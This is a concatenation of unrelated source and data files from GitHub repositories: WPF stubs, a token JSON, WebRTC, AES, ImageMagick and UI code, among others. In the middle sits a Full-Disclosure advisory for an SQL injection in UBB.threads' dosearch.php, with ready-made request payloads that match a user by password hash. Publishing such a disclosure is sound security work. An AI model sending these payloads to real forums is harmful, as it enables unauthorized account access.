def OnTouchLeave(self,*args):
"""
OnTouchLeave(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.TouchLeave routed event that occurs
when a touch moves from inside to outside the bounds of this System.Windows.UIElement.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnTouchMove(self,*args):
"""
OnTouchMove(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.TouchMove routed event that occurs when
a touch moves while inside this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnTouchUp(self,*args):
"""
OnTouchUp(self: UIElement,e: TouchEventArgs)
Provides class handling for the System.Windows.UIElement.TouchUp routed event that occurs when a
touch is released inside this element.
e: A System.Windows.Input.TouchEventArgs that contains the event data.
"""
pass
def OnVisualChildrenChanged(self,*args):
"""
OnVisualChildrenChanged(self: Visual,visualAdded: DependencyObject,visualRemoved: DependencyObject)
Called when the System.Windows.Media.VisualCollection of the visual object is modified.
visualAdded: The System.Windows.Media.Visual that was added to the collection
visualRemoved: The System.Windows.Media.Visual that was removed from the collection
"""
pass
def OnVisualParentChanged(self,*args):
"""
OnVisualParentChanged(self: FrameworkElement,oldParent: DependencyObject)
Invoked when the parent of this element in the visual tree is changed. Overrides
System.Windows.UIElement.OnVisualParentChanged(System.Windows.DependencyObject).
oldParent: The old parent element. May be null to indicate that the element did not have a visual parent
previously.
"""
pass
def ParentLayoutInvalidated(self,*args):
"""
ParentLayoutInvalidated(self: FrameworkElement,child: UIElement)
Supports incremental layout implementations in specialized subclasses of
System.Windows.FrameworkElement.
System.Windows.FrameworkElement.ParentLayoutInvalidated(System.Windows.UIElement) is invoked
when a child element has invalidated a property that is marked in metadata as affecting the
parent's measure or arrange passes during layout.
child: The child element reporting the change.
"""
pass
def PrepareContainerForItemOverride(self,*args):
"""
PrepareContainerForItemOverride(self: Menu,element: DependencyObject,item: object)
Prepares the specified element to display the specified item.
element: The element used to display the specified item.
item: The item to display.
"""
pass
def RemoveLogicalChild(self,*args):
"""
RemoveLogicalChild(self: FrameworkElement,child: object)
Removes the provided object from this element's logical tree. System.Windows.FrameworkElement
updates the affected logical tree parent pointers to keep in sync with this deletion.
child: The element to remove.
"""
pass
def RemoveVisualChild(self,*args):
"""
RemoveVisualChild(self: Visual,child: Visual)
Removes the parent-child relationship between two visuals.
child: The child visual object to remove from the parent visual.
"""
pass
def ShouldApplyItemContainerStyle(self,*args):
"""
ShouldApplyItemContainerStyle(self: ItemsControl,container: DependencyObject,item: object) -> bool
Returns a value that indicates whether to apply the style from the
System.Windows.Controls.ItemsControl.ItemContainerStyle or
System.Windows.Controls.ItemsControl.ItemContainerStyleSelector property to the container
element of the specified item.
container: The container element.
item: The item of interest.
Returns: Always true for the base implementation.
"""
pass
def ShouldSerializeProperty(self,*args):
"""
ShouldSerializeProperty(self: DependencyObject,dp: DependencyProperty) -> bool
Returns a value that indicates whether serialization processes should serialize the value for
the provided dependency property.
dp: The identifier for the dependency property that should be serialized.
Returns: true if the dependency property that is supplied should be value-serialized; otherwise,false.
"""
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
DefaultStyleKey=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the key to use to reference the style for this control,when theme styles are used or defined.
"""
HandlesScrolling=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets a value that indicates whether a control supports scrolling.
"""
HasEffectiveKeyboardFocus=property(lambda self: object(),lambda self,v: None,lambda self: None)
InheritanceBehavior=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the scope limits for property value inheritance,resource key lookup,and RelativeSource FindAncestor lookup.
"""
IsEnabledCore=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets a value that becomes the return value of System.Windows.UIElement.IsEnabled in derived classes.
"""
IsMainMenu=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets a value that indicates whether this System.Windows.Controls.Menu receives a main menu activation notification.
Get: IsMainMenu(self: Menu) -> bool
Set: IsMainMenu(self: Menu)=value
"""
LogicalChildren=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets an enumerator for the logical child objects of the System.Windows.Controls.ItemsControl object.
"""
StylusPlugIns=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets a collection of all stylus plug-in (customization) objects associated with this element.
"""
VisualBitmapEffect=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.Effects.BitmapEffect value for the System.Windows.Media.Visual.
"""
VisualBitmapEffectInput=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.Effects.BitmapEffectInput value for the System.Windows.Media.Visual.
"""
VisualBitmapScalingMode=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.BitmapScalingMode for the System.Windows.Media.Visual.
"""
VisualCacheMode=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets a cached representation of the System.Windows.Media.Visual.
"""
VisualChildrenCount=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets the number of visual child elements within this element.
"""
VisualClearTypeHint=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.ClearTypeHint that determines how ClearType is rendered in the System.Windows.Media.Visual.
"""
VisualClip=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the clip region of the System.Windows.Media.Visual as a System.Windows.Media.Geometry value.
"""
VisualEdgeMode=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the edge mode of the System.Windows.Media.Visual as an System.Windows.Media.EdgeMode value.
"""
VisualEffect=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the bitmap effect to apply to the System.Windows.Media.Visual.
"""
VisualOffset=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the offset value of the visual object.
"""
VisualOpacity=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the opacity of the System.Windows.Media.Visual.
"""
VisualOpacityMask=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.Brush value that represents the opacity mask of the System.Windows.Media.Visual.
"""
VisualParent=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets the visual tree parent of the visual object.
"""
VisualScrollableAreaClip=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets a clipped scrollable area for the System.Windows.Media.Visual.
"""
VisualTextHintingMode=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.TextHintingMode of the System.Windows.Media.Visual.
"""
VisualTextRenderingMode=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.TextRenderingMode of the System.Windows.Media.Visual.
"""
VisualTransform=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the System.Windows.Media.Transform value for the System.Windows.Media.Visual.
"""
VisualXSnappingGuidelines=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the x-coordinate (vertical) guideline collection.
"""
VisualYSnappingGuidelines=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""Gets or sets the y-coordinate (horizontal) guideline collection.
"""
IsMainMenuProperty=None
| {
"pile_set_name": "Github"
} |
{
"symbol": "wNXM",
"name": "Wrapped NXM",
"type": "ERC20",
"address": "0x57A2bCBa1902696B08B93C87451Be71b024d2a4C",
"ens_address": "",
"decimals": 18,
"website": "",
"logo": { "src": "", "width": "", "height": "", "ipfs_hash": "" },
"support": { "email": "", "url": "" },
"social": {
"blog": "",
"chat": "",
"facebook": "",
"forum": "",
"github": "",
"gitter": "",
"instagram": "",
"linkedin": "",
"reddit": "",
"slack": "",
"telegram": "",
"twitter": "",
"youtube": ""
}
}
| {
"pile_set_name": "Github"
} |
Product:
========
UBB.threads
Vendor:
=======
UBBCentral (http://www.ubbcentral.com/)
Versions:
=========
I tested it successfull on 3.4.x
At Version 3.5 you need to be logged in to perform a search. I didnt tested
this version.
Problem:
========
Sql-Injection in dosearch.php
dosearch.php?Name=' OR U_Password='PWINMD5
Impact:
=======
A remote user can inject SQL commands
Example:
========
db5c82346d770f48bdd8929094c0c695 (ubbpass)
/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695
OR
/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/*
-> selects a user who got "ubbpass" as password.
Greets fly out to:
==================
felx, zodiac, nostalg1c, chris, lexxor, haggi, li, xlr, rest of p32,
peti, danjo, milch_trinker, hecky, and all i forgot
Greets
Florian Rock aka Remoter
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "media/base/fake_video_renderer.h"
namespace cricket {
FakeVideoRenderer::FakeVideoRenderer() = default;
void FakeVideoRenderer::OnFrame(const webrtc::VideoFrame& frame) {
webrtc::MutexLock lock(&mutex_);
// TODO(zhurunz) Check with VP8 team to see if we can remove this
// tolerance on Y values. Some unit tests produce Y values close
// to 16 rather than close to zero, for supposedly black frames.
// Largest value observed is 34, e.g., running
// PeerConnectionIntegrationTest.SendAndReceive16To9AspectRatio.
black_frame_ = CheckFrameColorYuv(0, 48, 128, 128, 128, 128, &frame);
// Treat unexpected frame size as error.
++num_rendered_frames_;
width_ = frame.width();
height_ = frame.height();
rotation_ = frame.rotation();
timestamp_us_ = frame.timestamp_us();
ntp_timestamp_ms_ = frame.ntp_time_ms();
color_space_ = frame.color_space();
packet_infos_ = frame.packet_infos();
frame_rendered_event_.Set();
}
bool FakeVideoRenderer::WaitForRenderedFrame(int64_t timeout_ms) {
return frame_rendered_event_.Wait(timeout_ms);
}
} // namespace cricket
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <DataAccess/DAAccount.h>
@interface DAAccount (BookmarkDAVExtension)
- (_Bool)isBookmarkDAVAccount;
@end
| {
"pile_set_name": "Github"
} |
/*
---------------------------------------------------------------------------
Copyright (c) 1998-2013, Brian Gladman, Worcester, UK. All rights reserved.
The redistribution and use of this software (with or without changes)
is allowed without the payment of fees or royalties provided that:
source code distributions include the above copyright notice, this
list of conditions and the following disclaimer;
binary distributions include the above copyright notice, this list
of conditions and the following disclaimer in their documentation.
This software is provided 'as is' with no explicit or implied warranties
in respect of its operation, including, but not limited to, correctness
and fitness for purpose.
---------------------------------------------------------------------------
Issue Date: 20/12/2007
*/
#include <stdint.h>
#if defined(__cplusplus)
extern "C"
{
#endif
#define TABLE_ALIGN 32
#define WPOLY 0x011b
#define N_COLS 4
#define AES_BLOCK_SIZE 16
#define RC_LENGTH (5 * (AES_BLOCK_SIZE / 4 - 2))
#if defined(_MSC_VER)
#define ALIGN __declspec(align(TABLE_ALIGN))
#elif defined(__GNUC__)
#define ALIGN __attribute__ ((aligned(16)))
#else
#define ALIGN
#endif
#define rf1(r,c) (r)
#define word_in(x,c) (*((uint32_t*)(x)+(c)))
#define word_out(x,c,v) (*((uint32_t*)(x)+(c)) = (v))
#define s(x,c) x[c]
#define si(y,x,c) (s(y,c) = word_in(x, c))
#define so(y,x,c) word_out(y, c, s(x,c))
#define state_in(y,x) si(y,x,0); si(y,x,1); si(y,x,2); si(y,x,3)
#define state_out(y,x) so(y,x,0); so(y,x,1); so(y,x,2); so(y,x,3)
#define round(rm,y,x,k) rm(y,x,k,0); rm(y,x,k,1); rm(y,x,k,2); rm(y,x,k,3)
#define to_byte(x) ((x) & 0xff)
#define bval(x,n) to_byte((x) >> (8 * (n)))
#define fwd_var(x,r,c)\
( r == 0 ? ( c == 0 ? s(x,0) : c == 1 ? s(x,1) : c == 2 ? s(x,2) : s(x,3))\
: r == 1 ? ( c == 0 ? s(x,1) : c == 1 ? s(x,2) : c == 2 ? s(x,3) : s(x,0))\
: r == 2 ? ( c == 0 ? s(x,2) : c == 1 ? s(x,3) : c == 2 ? s(x,0) : s(x,1))\
: ( c == 0 ? s(x,3) : c == 1 ? s(x,0) : c == 2 ? s(x,1) : s(x,2)))
#define fwd_rnd(y,x,k,c) (s(y,c) = (k)[c] ^ four_tables(x,t_use(f,n),fwd_var,rf1,c))
#define sb_data(w) {\
w(0x63), w(0x7c), w(0x77), w(0x7b), w(0xf2), w(0x6b), w(0x6f), w(0xc5),\
w(0x30), w(0x01), w(0x67), w(0x2b), w(0xfe), w(0xd7), w(0xab), w(0x76),\
w(0xca), w(0x82), w(0xc9), w(0x7d), w(0xfa), w(0x59), w(0x47), w(0xf0),\
w(0xad), w(0xd4), w(0xa2), w(0xaf), w(0x9c), w(0xa4), w(0x72), w(0xc0),\
w(0xb7), w(0xfd), w(0x93), w(0x26), w(0x36), w(0x3f), w(0xf7), w(0xcc),\
w(0x34), w(0xa5), w(0xe5), w(0xf1), w(0x71), w(0xd8), w(0x31), w(0x15),\
w(0x04), w(0xc7), w(0x23), w(0xc3), w(0x18), w(0x96), w(0x05), w(0x9a),\
w(0x07), w(0x12), w(0x80), w(0xe2), w(0xeb), w(0x27), w(0xb2), w(0x75),\
w(0x09), w(0x83), w(0x2c), w(0x1a), w(0x1b), w(0x6e), w(0x5a), w(0xa0),\
w(0x52), w(0x3b), w(0xd6), w(0xb3), w(0x29), w(0xe3), w(0x2f), w(0x84),\
w(0x53), w(0xd1), w(0x00), w(0xed), w(0x20), w(0xfc), w(0xb1), w(0x5b),\
w(0x6a), w(0xcb), w(0xbe), w(0x39), w(0x4a), w(0x4c), w(0x58), w(0xcf),\
w(0xd0), w(0xef), w(0xaa), w(0xfb), w(0x43), w(0x4d), w(0x33), w(0x85),\
w(0x45), w(0xf9), w(0x02), w(0x7f), w(0x50), w(0x3c), w(0x9f), w(0xa8),\
w(0x51), w(0xa3), w(0x40), w(0x8f), w(0x92), w(0x9d), w(0x38), w(0xf5),\
w(0xbc), w(0xb6), w(0xda), w(0x21), w(0x10), w(0xff), w(0xf3), w(0xd2),\
w(0xcd), w(0x0c), w(0x13), w(0xec), w(0x5f), w(0x97), w(0x44), w(0x17),\
w(0xc4), w(0xa7), w(0x7e), w(0x3d), w(0x64), w(0x5d), w(0x19), w(0x73),\
w(0x60), w(0x81), w(0x4f), w(0xdc), w(0x22), w(0x2a), w(0x90), w(0x88),\
w(0x46), w(0xee), w(0xb8), w(0x14), w(0xde), w(0x5e), w(0x0b), w(0xdb),\
w(0xe0), w(0x32), w(0x3a), w(0x0a), w(0x49), w(0x06), w(0x24), w(0x5c),\
w(0xc2), w(0xd3), w(0xac), w(0x62), w(0x91), w(0x95), w(0xe4), w(0x79),\
w(0xe7), w(0xc8), w(0x37), w(0x6d), w(0x8d), w(0xd5), w(0x4e), w(0xa9),\
w(0x6c), w(0x56), w(0xf4), w(0xea), w(0x65), w(0x7a), w(0xae), w(0x08),\
w(0xba), w(0x78), w(0x25), w(0x2e), w(0x1c), w(0xa6), w(0xb4), w(0xc6),\
w(0xe8), w(0xdd), w(0x74), w(0x1f), w(0x4b), w(0xbd), w(0x8b), w(0x8a),\
w(0x70), w(0x3e), w(0xb5), w(0x66), w(0x48), w(0x03), w(0xf6), w(0x0e),\
w(0x61), w(0x35), w(0x57), w(0xb9), w(0x86), w(0xc1), w(0x1d), w(0x9e),\
w(0xe1), w(0xf8), w(0x98), w(0x11), w(0x69), w(0xd9), w(0x8e), w(0x94),\
w(0x9b), w(0x1e), w(0x87), w(0xe9), w(0xce), w(0x55), w(0x28), w(0xdf),\
w(0x8c), w(0xa1), w(0x89), w(0x0d), w(0xbf), w(0xe6), w(0x42), w(0x68),\
w(0x41), w(0x99), w(0x2d), w(0x0f), w(0xb0), w(0x54), w(0xbb), w(0x16) }
#define rc_data(w) {\
w(0x01), w(0x02), w(0x04), w(0x08), w(0x10),w(0x20), w(0x40), w(0x80),\
w(0x1b), w(0x36) }
#define bytes2word(b0, b1, b2, b3) (((uint32_t)(b3) << 24) | \
((uint32_t)(b2) << 16) | ((uint32_t)(b1) << 8) | (b0))
#define h0(x) (x)
#define w0(p) bytes2word(p, 0, 0, 0)
#define w1(p) bytes2word(0, p, 0, 0)
#define w2(p) bytes2word(0, 0, p, 0)
#define w3(p) bytes2word(0, 0, 0, p)
#define u0(p) bytes2word(f2(p), p, p, f3(p))
#define u1(p) bytes2word(f3(p), f2(p), p, p)
#define u2(p) bytes2word(p, f3(p), f2(p), p)
#define u3(p) bytes2word(p, p, f3(p), f2(p))
#define v0(p) bytes2word(fe(p), f9(p), fd(p), fb(p))
#define v1(p) bytes2word(fb(p), fe(p), f9(p), fd(p))
#define v2(p) bytes2word(fd(p), fb(p), fe(p), f9(p))
#define v3(p) bytes2word(f9(p), fd(p), fb(p), fe(p))
#define f2(x) ((x<<1) ^ (((x>>7) & 1) * WPOLY))
#define f4(x) ((x<<2) ^ (((x>>6) & 1) * WPOLY) ^ (((x>>6) & 2) * WPOLY))
#define f8(x) ((x<<3) ^ (((x>>5) & 1) * WPOLY) ^ (((x>>5) & 2) * WPOLY) ^ (((x>>5) & 4) * WPOLY))
#define f3(x) (f2(x) ^ x)
#define f9(x) (f8(x) ^ x)
#define fb(x) (f8(x) ^ f2(x) ^ x)
#define fd(x) (f8(x) ^ f4(x) ^ x)
#define fe(x) (f8(x) ^ f4(x) ^ f2(x))
#define t_dec(m,n) t_##m##n
#define t_set(m,n) t_##m##n
#define t_use(m,n) t_##m##n
#define d_4(t,n,b,e,f,g,h) ALIGN const t n[4][256] = { b(e), b(f), b(g), b(h) }
#define four_tables(x,tab,vf,rf,c) \
(tab[0][bval(vf(x,0,c),rf(0,c))] \
^ tab[1][bval(vf(x,1,c),rf(1,c))] \
^ tab[2][bval(vf(x,2,c),rf(2,c))] \
^ tab[3][bval(vf(x,3,c),rf(3,c))])
d_4(uint32_t, t_dec(f,n), sb_data, u0, u1, u2, u3);
#if !defined(STATIC)
#define STATIC
#endif
#if !defined(INLINE)
#define INLINE
#endif
STATIC INLINE void aesb_single_round(const uint8_t *in, uint8_t *out, uint8_t *expandedKey)
{
uint32_t b0[4], b1[4];
const uint32_t *kp = (uint32_t *) expandedKey;
state_in(b0, in);
round(fwd_rnd, b1, b0, kp);
state_out(out, b1);
}
STATIC INLINE void aesb_pseudo_round(const uint8_t *in, uint8_t *out, uint8_t *expandedKey)
{
uint32_t b0[4], b1[4];
const uint32_t *kp = (uint32_t *) expandedKey;
state_in(b0, in);
round(fwd_rnd, b1, b0, kp);
round(fwd_rnd, b0, b1, kp + 1 * N_COLS);
round(fwd_rnd, b1, b0, kp + 2 * N_COLS);
round(fwd_rnd, b0, b1, kp + 3 * N_COLS);
round(fwd_rnd, b1, b0, kp + 4 * N_COLS);
round(fwd_rnd, b0, b1, kp + 5 * N_COLS);
round(fwd_rnd, b1, b0, kp + 6 * N_COLS);
round(fwd_rnd, b0, b1, kp + 7 * N_COLS);
round(fwd_rnd, b1, b0, kp + 8 * N_COLS);
round(fwd_rnd, b0, b1, kp + 9 * N_COLS);
state_out(out, b0);
}
#if defined(__cplusplus)
}
#endif
| {
"pile_set_name": "Github"
} |
from __future__ import absolute_import
import textwrap
def DALS(s):
"dedent and left-strip"
return textwrap.dedent(s).lstrip()
| {
"pile_set_name": "Github"
} |
好奇心原文链接:[4月内连挖两名创意总监,优衣库广告要怎么做?_商业_好奇心日报-许冰清](https://www.qdaily.com/articles/2719.html)
WebArchive归档链接:[4月内连挖两名创意总监,优衣库广告要怎么做?_商业_好奇心日报-许冰清](http://web.archive.org/web/20180923202422/http://www.qdaily.com:80/articles/2719.html)
 | {
"pile_set_name": "Github"
} |
// Copyright 2019 The TensorFlow Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import UIKit
class InfoCell: UITableViewCell {
@IBOutlet weak var fieldNameLabel: UILabel!
@IBOutlet weak var infoLabel: UILabel!
}
| {
"pile_set_name": "Github"
} |
### 分类和类拓展的区别?
* 1.`分类` 的加载在 `运行时`,`类拓展` 的加载在 `编译时`。
* 2.`分类` 不能给系统的类添加方法。
* 3.`类拓展` 只以声明的形式存在,一般存在 .m 文件中。
| {
"pile_set_name": "Github"
} |
const { MenuEmbed } = require('discord.js-prompts')
const LocalizedPrompt = require('../common/utils/LocalizedPrompt.js')
const commonPrompts = require('../common/index.js')
const Translator = require('../../../structs/Translator.js')
/**
* @typedef {Object} Data
* @property {import('../../../structs/db/Feed.js')[]} feeds
* @property {import('../../../structs/db/Profile.js')} profile
* @property {import('../../../structs/db/Feed.js')} sourceFeed
*/
/**
* @param {Data} data
*/
function selectDestinationFeedsVisual (data) {
const { profile } = data
const translate = Translator.createProfileTranslator(profile)
const selectFeedVisual = commonPrompts.selectFeed.visual(data)
const menu = selectFeedVisual.menu
menu.enableMultiSelect()
const embed = menu.embed
embed.setDescription(`${translate('commands.clone.copyTo')}\n\n${embed.description}\n\n${translate('structs.FeedSelector.multiSelect')}`)
return selectFeedVisual
}
/**
* @param {import('discord.js').Message} message
* @param {Data} data
*/
async function selectDestinationFeedsFn (message, data) {
const { feeds } = data
const { content } = message
const destinationFeeds = MenuEmbed.getMultiSelectOptions(content)
.map((index) => feeds[index - 1])
return {
...data,
destinationFeeds
}
}
const prompt = new LocalizedPrompt(selectDestinationFeedsVisual, selectDestinationFeedsFn)
exports.prompt = prompt
| {
"pile_set_name": "Github"
} |
/*
Copyright 1999-2011 ImageMagick Studio LLC, a non-profit organization
dedicated to making software imaging solutions freely available.
You may not use this file except in compliance with the License.
obtain a copy of the License at
http://www.imagemagick.org/script/license.php
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
MagickCore image effects methods.
*/
#ifndef _MAGICKCORE_EFFECT_H
#define _MAGICKCORE_EFFECT_H
#if defined(__cplusplus) || defined(c_plusplus)
extern "C" {
#endif
#include <magick/morphology.h>
typedef enum
{
UndefinedPreview,
RotatePreview,
ShearPreview,
RollPreview,
HuePreview,
SaturationPreview,
BrightnessPreview,
GammaPreview,
SpiffPreview,
DullPreview,
GrayscalePreview,
QuantizePreview,
DespecklePreview,
ReduceNoisePreview,
AddNoisePreview,
SharpenPreview,
BlurPreview,
ThresholdPreview,
EdgeDetectPreview,
SpreadPreview,
SolarizePreview,
ShadePreview,
RaisePreview,
SegmentPreview,
SwirlPreview,
ImplodePreview,
WavePreview,
OilPaintPreview,
CharcoalDrawingPreview,
JPEGPreview
} PreviewType;
typedef enum
{
UndefinedStatistic,
GradientStatistic,
MaximumStatistic,
MeanStatistic,
MedianStatistic,
MinimumStatistic,
ModeStatistic,
NonpeakStatistic,
StandardDeviationStatistic
} StatisticType;
extern MagickExport Image
*AdaptiveBlurImage(const Image *,const double,const double,ExceptionInfo *),
*AdaptiveBlurImageChannel(const Image *,const ChannelType,const double,
const double,ExceptionInfo *),
*AdaptiveSharpenImage(const Image *,const double,const double,
ExceptionInfo *),
*AdaptiveSharpenImageChannel(const Image *,const ChannelType,const double,
const double,ExceptionInfo *),
*BlurImage(const Image *,const double,const double,ExceptionInfo *),
*BlurImageChannel(const Image *,const ChannelType,const double,const double,
ExceptionInfo *),
*ConvolveImage(const Image *,const size_t,const double *,ExceptionInfo *),
*ConvolveImageChannel(const Image *,const ChannelType,const size_t,
const double *,ExceptionInfo *),
*DespeckleImage(const Image *,ExceptionInfo *),
*EdgeImage(const Image *,const double,ExceptionInfo *),
*EmbossImage(const Image *,const double,const double,ExceptionInfo *),
*FilterImage(const Image *,const KernelInfo *,ExceptionInfo *),
*FilterImageChannel(const Image *,const ChannelType,const KernelInfo *,
ExceptionInfo *),
*GaussianBlurImage(const Image *,const double,const double,ExceptionInfo *),
*GaussianBlurImageChannel(const Image *,const ChannelType,const double,
const double,ExceptionInfo *),
*MotionBlurImage(const Image *,const double,const double,const double,
ExceptionInfo *),
*MotionBlurImageChannel(const Image *,const ChannelType,const double,
const double,const double,ExceptionInfo *),
*PreviewImage(const Image *,const PreviewType,ExceptionInfo *),
*RadialBlurImage(const Image *,const double,ExceptionInfo *),
*RadialBlurImageChannel(const Image *,const ChannelType,const double,
ExceptionInfo *),
*SelectiveBlurImage(const Image *,const double,const double,const double,
ExceptionInfo *),
*SelectiveBlurImageChannel(const Image *,const ChannelType,const double,
const double,const double,ExceptionInfo *),
*ShadeImage(const Image *,const MagickBooleanType,const double,const double,
ExceptionInfo *),
*SharpenImage(const Image *,const double,const double,ExceptionInfo *),
*SharpenImageChannel(const Image *,const ChannelType,const double,
const double,ExceptionInfo *),
*SpreadImage(const Image *,const double,ExceptionInfo *),
*StatisticImage(const Image *,const StatisticType,const size_t,const size_t,
ExceptionInfo *),
*StatisticImageChannel(const Image *,const ChannelType,const StatisticType,
const size_t,const size_t,ExceptionInfo *),
*UnsharpMaskImage(const Image *,const double,const double,const double,
const double,ExceptionInfo *),
*UnsharpMaskImageChannel(const Image *,const ChannelType,const double,
const double,const double,const double,ExceptionInfo *);
#if defined(__cplusplus) || defined(c_plusplus)
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
import { customElement, html, LitElement } from "lit-element";
import "../../../../lib/slider/slider";
import "../../../../lib/icon/icon";
import "../../../../lib/title/title";
import "../../../elements/code-example/code-example-element";
import "../../../elements/demo/demo-element";
import { cssResult } from "../../../../lib/util/css";
import { sharedStyles } from "../../../style/shared";
@customElement("slider-page")
export default class SliderPage extends LitElement {
static styles = [
sharedStyles,
cssResult(`
wl-slider:not(:last-child) {
margin: 0 0 12px;
}
`)
];
protected render() {
return html`
<demo-element default>
<code-example-element>
<wl-slider></wl-slider>
<wl-slider value="20" bufferValue="80" step="10" thumbLabel></wl-slider>
</code-example-element>
</demo-element>
<wl-title level="3">Before & after slots</wl-title>
<demo-element>
<code-example-element>
<wl-slider thumblabel>
<wl-icon slot="before">volume_down</wl-icon>
<wl-icon slot="after">volume_up</wl-icon>
</wl-slider>
</code-example-element>
</demo-element>
<wl-title level="3">Outlined</wl-title>
<demo-element>
<code-example-element>
<wl-slider outlined thumblabel></wl-slider>
<wl-slider outlined label="Label"></wl-slider>
</code-example-element>
</demo-element>
<wl-title level="3">Filled</wl-title>
<demo-element>
<code-example-element>
<wl-slider filled></wl-slider>
<wl-slider filled label="Label"></wl-slider>
</code-example-element>
</demo-element>
<wl-title level="3">Disabled</wl-title>
<demo-element>
<code-example-element>
<wl-slider disabled value="60"></wl-slider>
<wl-slider disabled outlined value="20" bufferValue="40"></wl-slider>
<wl-slider disabled filled></wl-slider>
<wl-slider disabled label="Label"></wl-slider>
<wl-slider disabled outlined label="Label"></wl-slider>
<wl-slider disabled filled label="Label"></wl-slider>
</code-example-element>
</demo-element>
`;
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2014. Real Time Genomics Limited.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package com.rtg.vcf.header;
/**
* Enum for type of number in <code>VCF</code> meta lines
*/
public enum VcfNumberType {
/** if specified number of values applies to field */
INTEGER(false, false, ""),
/** if one value per alternate allele */
ALTS(true, true, "A"),
/** if one value per all possible alleles (ref and alts) */
REF_ALTS(true, true, "R"),
/** if one value per genotype */
GENOTYPES(true, true, "G"),
/** if number of values varies or is unknown */
UNKNOWN(true, false, ".");
private final boolean mFixed;
private final boolean mAlleleDependent;
private final String mToString;
VcfNumberType(boolean fixedString, boolean alleleDependent, String str) {
mFixed = fixedString;
mAlleleDependent = alleleDependent;
mToString = str;
}
/**
